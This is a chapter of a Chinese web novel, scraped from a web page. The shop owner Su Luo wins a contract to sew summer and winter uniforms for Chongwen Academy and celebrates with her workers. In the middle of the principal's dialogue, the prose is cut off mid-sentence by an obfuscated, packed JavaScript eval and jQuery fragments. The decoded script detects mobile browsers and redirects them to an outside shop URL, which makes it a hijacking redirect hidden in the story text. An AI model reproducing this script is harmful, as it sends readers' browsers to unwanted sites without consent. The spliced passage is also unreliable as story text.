“什么大生意？”苏落看向小少爷。


    肖姑娘也看向他，让他来说。


    小少爷昂着脑袋：“我们夫子说，书院内攀比之风盛行，故而要统一学服以静心。”


    他这一口汉话说得流畅，将夫子的神态学了个五六分。


    苏落心想，学服？那就是后世的校服了。


    “你说的书院，是哪家？”总不会这么巧和齐齐格一家吧？


    “崇文书院，在夏都南边。”肖姑娘介绍，还与有荣焉地说，“在崇文书院读书的学子，经过举荐后可以参加中原的科考呢。”


    “科考？我们草原上的孩子也可以？”苏落还记得宋锦安说过，本朝历来不许非汉人科考。


    肖姑娘点头：“当然，仅崇文书院才可，但一旦走了科考的路，那便不再属于是草原人。”


    这崇文书院便是当初苏落没有选择的那家，说是仅教中原文化，但苏落心里还是更希望齐齐格能不忘本，两厢都了解一些，故而选择了道尔吉那里。


    另一方面来说，其实还因为苏落根本交不起这崇文书院的束脩。


    道尔吉夫子一年十两银子，还包书本。但这崇文书院，她从宋锦安那听了道尔吉的经历后去打听过，光给夫子的束脩便是按月给付，每月五两，逢年过节还要送礼，教材书本是从中原买来的四书五经等经典书籍，价格实在高昂。


    能在那里读得起书的孩子，非富即贵。


    但“可以科考”这一特点，实在是诱惑了不少家长，想方设法、倾家荡产也要把孩子塞进去。


    之前王婕拼命赚钱，其实就是为了让儿子从启蒙开始便在崇文书院读书。


    “那这学服的事……是打算交给我们苏记来做？”苏落有些恍惚。


    小少爷手背身后：“我知晓此事后，跟我们夫子交谈了一番，他觉得可行。”


    苏落看他这样，有些忍俊不禁地逗他：“你说话算数吗？我们苏记可是要签契的。”


    “不许笑！”小少爷被她笑得恼羞成怒，“我阿爸说了，此事全凭我做主！”


    这样又有点苏落初见他时那颐指气使的样子了。


    但是……


    “一会儿夫子，一会儿忽赤大人，这事到底谁说的算？做什么样的学服？用什么料子？签契又是和谁签？”


    肖姑娘解答了她的疑问：“忽赤大人的意思是小少爷可以选择自己喜欢的裁缝去做这批学服，后续洽谈之事还是由书院的院长来负责。”


    苏落若有所思点点头，看来这忽赤大人没少在这书院的建设上出力。


    这看似是书院的事，其实溯源后还是由忽赤大人掌控着。


    只是这种官方的订单不是一般都会公开竞标吗？或者做做样子之类的？她们苏记这回算不算是……走了后门？


    这就是人脉的重要性吧。


    苏落看向小少爷：“我好像还不知道你的名字？”


    “阿尔斯兰。”


    意为狮子，寓意勇猛与威严。


    得知这件事后，苏落当天下午便动身前往崇文书院进行商谈，身边带着秋兰。


    她们一路走着去城南，会路过永安公主临时停留的府邸，被重兵把守。


    苏落脚步微顿，心情复杂，刚准备抬脚离开，就看到大门居然打开了，一行人走里面出来。


    为首的，是一架二人抬的小轿，四面漏风，没有做保暖措施，似乎是为了上面坐着的人更方便看外面。


    至于轿子上的人，一件狐裘大衣将女人裹得严严实实，苍白的手指从前襟露出些许，可以看出正紧抱着一个暖手的汤婆子。


    被毛领拥簇着的脸上蒙着面纱，露出的眼睛毫无情绪地看了一眼路边的苏落和秋兰，又漫不经心地移开。


    “走吧。”


    声音虚弱无力，但带着不容拒绝的威严。


    轿子旁跟着两个侍女，后头还跟着那日戴着黑色面具的领头护卫，只是盔甲换了黑金色常服。


    好像是寻常大小姐出门的样子，这监管似乎也没那么严格。


    苏落又看了一眼她们的背影，跟秋兰说：“秋兰，走了。”


    秋兰这是第二次被永安公主吓到，刚刚躲去了柱子后面，此时苏落叫她，她才抱着怀里的纸张出来，松了口气。


    苏落笑她：“你是怕她吃了你吗？”


    “我是怕被她身边那位黑脸护卫怪罪。”秋兰腼腆笑笑，“这位公主看着倒是挺和善。”


    秋兰是真的易受惊吓，被那护卫看一眼都要抖三抖。她刚来苏记时，连话都说不利索，后来跟大家混得熟了，才能流利对话。


    苏落感觉她更像是后世的社恐。


    “你等会不用说话，帮我记下对方的要求就行，要是有什么不妥的地方也要及时提醒我。”苏落怕自己一个人来会有遗漏。


    “嗯好的，主家。”秋兰点头。


    到了地方，门口高悬的牌匾写着烫金的“崇文书院”四个大字。这门脸跟道尔吉没名没姓的书院一比，真是气派许多。


    苏落说明来意，被带了进去。


    一路走过长廊，见识了藏书阁、讲堂、和园林景观，虽然这些建筑都是朴实无华的白墙，景观也是些寻常山石花草，但金钱的味道还是扑面而来。


    终于进了专门迎客的前厅，带路的侍从说：“你们在此稍等片刻，我去请院长过来。”


    “麻烦了。”苏落点头。


    随后便有侍女奉上泡好的茶水，热气蒸腾而上。


    苏落嘴角动了动，莫名来了一句：“感觉有点对不起齐齐格。”


    秋兰反应了一会儿，才否定：“主家你可别这么想，您能送小妹去书院已经是难得了。”


    其实苏落心里也清楚，一个猴一个拴法。以齐齐格的性子和家境，来这里还真不一定合适，但乍然看到更好的教学环境，苏落心里难免有落差，觉得自己没有给齐齐格更好的。


    想通后，苏落尝了尝这茶。她前世就喝不惯茶，来了草原更是没喝过什么好茶，现下也只能尝出个入口苦涩却有回甘。


    秋兰却说：“这茶的味道好熟悉，和谢姑娘那里的差不多。”


    苏落挑了挑眉又尝一口，实在是尝不出像在哪，不像在哪。


    她无奈摇摇头放弃，还自我打趣道：“我是没你那灵巧的舌头。”


    秋兰无声笑笑。


    “抱歉，叫两位姑娘久等了。”长须道袍的老夫子疾步而来，正儿八经作揖行礼。


    苏落起身回他一礼：“不久不久，我们刚喝了两口茶，还在说崇文书院的茶味道真不错呢。”


    “能得赏识，也算是这茶叶生长、采茶种茶的人都没白费功夫。”院长笑容真实了几分，请她们坐下。


    互通姓名，苏落她们得知这位院长名叫柳青书。


    苏落言归正传：“我们这次来，是想了解一下这批学服要怎么做？”


    柳院长抚了抚胡须：“便是寻常儒家通用形制，素色襕衫，无需任何花样。”


    苏落脑海里很快有了大致的形状。


    “春夏学服如此，但是冬季学服……”柳院长停顿一下补充，“我从阿尔斯兰那里见到你做的双面衣袍，将布料与羊皮结合地极好，故而希望冬季的学服能加上羊皮和棉花，毕竟冬日寒冷，还是要以学子们的身体为重。”


    原来是见过她的货物。


    而且，苏落原先以为只有一批，可是听他这话的意思，竟是要做一冷一热两批学服。


    苏落点点头理解，问：“那冬季款是要做成双面穿的吗？”


    “不用。”柳院长拒绝，“羊皮与棉花皆藏于内里即可，外表还是以朴素为主。”


    “这容易。”


    不用双面的话，那在剪裁和缝制上便要省很多事。羊皮搞定的情况下，两三天一件不成问题。


    样式谈完了，那便轮到银钱方面。


    “那这工钱和成本上……”苏落起了个话头。


    柳院长笑笑：“忽赤大人说学子乃是夏都之栋梁，特意提出这批学服由他及梅夫人一同出资。”


    他喝了口茶，继续道：“梅夫人会亲自选用布料和棉，送去你们苏记。至于羊皮……听闻苏记鞣制的羊皮在夏都内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108257|190045||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是数一数二的，这个交给你们应该没问题吧？”


    看来调研工作也没少做。


    也是，要是仅凭一个不到十岁小儿的坚持，就要把这么重要的单子交给一个名不见经传的成衣铺，实在是过于儿戏。


    不过，要是没有他的牵线搭桥，她也根本得不到入眼的机会。


    苏落面色不变：“当然没问题，在羊皮价格上我们也绝对不会虚高上报。”


    羊皮她来负责当然没问题，只是不能因此就不按市价给她结算。


    柳院长明白她的意思：“羊皮按照三两银结算，每件学服的工费，夏季一两，冬季二两，不知苏老板能否接受这个价格？”


    他对苏落的称呼已经从“姑娘”，变成“苏老板”。


    苏落心里算着，除去她给秋兰她们的手工费，平均每件她赚一两。


    刚刚走来看到学堂里的学子数量大概五十左右，那就是一百件，差不多利润在一百两，但除此之外还有羊皮的收入，她们是收鲜羊皮自己鞣制。


    收入符合苏落的预期，不高不低，主要是积累经验，再把苏记这个名字往大众心里加上一层烙印。


    “可以接受。”苏落笑着点头，“冬季的这批预计需要十五日交出，夏季的再往后十五日。”


    这日子她是往松快里说的，她可不想再像谢二那次一样，搞得昏天黑地，觉都睡不好。


    柳院长欣然应允。


    一切谈妥，柳院长在准备好的契上添上刚刚谈好的信息，双方落字按印。


    “苏老板要不要留下一个住址？后续方便梅夫人选好布料后派人送去。”


    苏落刚准备说北门，犹豫了一下：“不巧，最近我们苏记正准备搬迁……”她顿了顿，“梅夫人是打算在云织坊选用布料吧？我与那里的掌柜阿勒坦相识，不然等我们搬好后再去云织坊告知？”


    她还记得初次听到梅夫人的名讳，便是在云织坊，梅夫人的家仆前来取走预定的云锦。


    “也好。”柳院长点头，“那学子们的身量尺寸，等我们派人登记造册后，便也交给阿勒坦掌柜。”


    随后，双方拜别。


    等出了这诺大的崇文书院，秋兰才说出话来：“吁，咱们准备的画稿好像没用上。”


    她一路拿着的几张纸，便是苏落画的设计稿。


    “也正常，通用形制才不易出错。”苏落放宽心，“有生意做，有银子赚就好。”


    “嗯，我们快点回去告诉王婶她们这个好消息！”秋兰兴奋道。


    中午苏落回去叫秋兰时，她们便听说了学服的事，现在各个都眼巴巴等着呢。


    ……


    “我宣布，咱们苏记，拿下了崇文书院的学服订单！”苏落笑着宣布了这个消息。


    瞬间，十人几乎要震破屋顶的欢呼声传出苏记的小院。


    “而且！”苏落提高声音补充，“是春夏、秋冬，两款！”


    “哇啊啊啊！主家你真是太棒了！”叫得最大声的便是斯琴，心里第一万遍庆幸当时没跟着王婕一起抬价。


    “诶哟！那可真是一笔大单子啊，咱们要忙起来咯。”这是王翠萍，“你额吉和你婶娘也终于能放宽心了。”她向来是对苏落有信心。


    高娃和赛罕是这群人里的定海神针，此时被王翠萍戳中了心窝子，不由地也欣慰地笑着。


    秋兰则融入自己的其她三位姐妹，小声说着方才见到的气派书院景象。


    一副其乐融融的样子。


    但苏落也关注到，有几位暗暗松了口气。


    这几日下来，售卖的进度赶不上她们制作的进度，她们的收入也根本比不上赶制谢二那批货时的进账，所以有几人多多少少在心里偷偷犯嘀咕，但此时新消息一来，立马安定了她们的内心。


    苏落见她们开心，自己也心情雀跃：“这两天大家回去好好休息，我们苏记，三天后正式搬新家！”


    “好！”


    苏落把看房子的事交给了宋锦安和达来大叔后，就没有再过问。


    不管看得如何，这三日内都要把地方定下来了。